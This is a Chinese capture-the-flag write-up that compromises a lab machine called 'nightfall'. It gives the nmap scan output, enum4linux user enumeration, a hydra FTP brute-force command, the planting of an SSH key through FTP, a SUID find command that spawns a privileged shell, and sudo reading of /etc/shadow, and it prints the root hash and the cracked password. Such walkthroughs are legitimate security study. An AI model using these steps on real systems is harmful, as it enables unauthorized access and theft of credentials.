一、主机发现
使用netdiscover
进行主机查找,查找到目标IP为192.168.203.141
二、端口扫描
root@kali:~# nmap -sS -A 192.168.203.141 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-23 17:28 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.203.141
Host is up (0.00042s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.5
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.38 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| vulners:
| cpe:/a:apache:http_server:2.4.38:
| CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211
| CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082
| CVE-2019-10097 6.0 https://vulners.com/cve/CVE-2019-10097
| CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217
| CVE-2019-0215 6.0 https://vulners.com/cve/CVE-2019-0215
| CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098
| CVE-2019-10081 5.0 https://vulners.com/cve/CVE-2019-10081
| CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220
| CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196
| CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197
|_ CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners:
| MySQL 5.5.5-10.3.15-MariaDB-1:
|_ NODEJS:602 0.0 https://vulners.com/nodejs/NODEJS:602
MAC Address: 00:0C:29:28:EF:2E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: NIGHTFALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
| smb-vuln-regsvc-dos:
| VULNERABLE:
| Service regsvc in Microsoft Windows systems vulnerable to denial of service
| State: VULNERABLE
| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
| while working on smb-enum-sessions.
|_
TRACEROUTE
HOP RTT ADDRESS
1 0.42 ms 192.168.203.141
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 76.03 seconds
目标开启了21
、22
、80
、139
、445
、3306
。
三、漏洞利用
我们先访问一下web服务:
是一个Apache初始页,我们利用dirb
进行目录扫描:
结果没有什么发现。
平常遇到的靶机一般是没有开445
端口的,于是去网上搜了一下,发现了一款工具enum4linux
。
用于枚举Windows和Samba主机中的数据。
我们直接利用命令进行枚举:
enum4linux 192.168.203.141
发现了两个用户:matt和nightfall。
1、Ftp暴力破解
紧接着我尝试了ssh和ftp的暴力破解:
hydra -L name.txt -P /usr/share/wordlists/rockyou.txt 192.168.203.141 ftp
最终,只得到了ftp的账号和密码:
接着,我们利用ftp登录:
通过简单的观察,可以看到这是matt用户的目录,没有.ssh
,所以没办法通过ssh登录,但是我们可以创建一个.ssh
文件夹,之后再上传一个公钥,利用公钥登录即可。
2、公钥生成
利用命令ssh-keygen
。
红框内是生成的公钥的路径。
3、公钥登录
这里我们需要将id_rsa.pub
改名为authorized_keys
.
为什么呢?这里我也是第一次接触,做一下笔记吧。
假设B是我们需要运维的机器,A是我们自己的机器,由于工作原因,我们需要经常通过ssh连接B机器,每次都要输入很长的密码,时间久了就会觉得很麻烦,那有没有一种方法可以让我们免密登陆呢。答案就是我们刚才用到的authorized_keys
,我们在自己的A机器上生成公钥id_rsa.pub
和私钥id_rsa
。并将公钥改名为authorized_keys
,拷贝到B机器上。之后再使用ssh连接时,A向B发送登录请求,B收到请求之后,在authorized_key
中查找相对应的A的IP与用户名,如果有,B就随机生成一个字符串,并用A的公钥进行加密,发送给A。A收到B发来的加密信息之后,再使用私钥进行解密,然后将解密的字符串传递给B。B再与生成的字符串进行比较,如果一致就可以实现免密登录。
上传公钥的时候,要注意一点:上传文件都来自于主机的当前目录下。比如,在
/usr/my
下运行的ftp命令,则只有在/usr/my
下的文件linux才会上传到服务器/usr/your
下。
接下来,切换到生成密钥的目录下,再次连接ftp,并上传。
免密登录成功!
四、提权
因为是免密登录,sudo -l
失败。
find / -perm -u=s -type f 2>/dev/null
,查找suid权限的程序。
find
,之前在DC-1的时候就是find提权。
使用命令./find . -exec /bin/sh -p \; -quit
(这个命令目前还不太懂,明天起床问问师傅。)
我们现在有了nightfall
的权限,并在他的目录下得到一串md5,可惜没有解出来。
又查看一下,nightfall目录下没有.ssh
,于是老套路走一遍,先开web服务,再用wget下载公钥。
免密登录nightfall
用户,发现可以以root身份使用cat
命令:
查看/etc/shadow
:
nightfall@nightfall:~$ sudo cat /etc/shadow
root:$6$JNHsN5GY.jc9CiTg$MjYL9NyNc4GcYS2zNO6PzQNHY2BE/YODBUuqsrpIlpS9LK3xQ6coZs6lonzURBJUDjCRegMHSF5JwCMG1az8k.:18134:0:99999:7:::
再利用john进行破解:
得到root密码:miguel2
最后拿到flag!
参考文章:https://www.cnblogs.com/hack404/p/11493031.html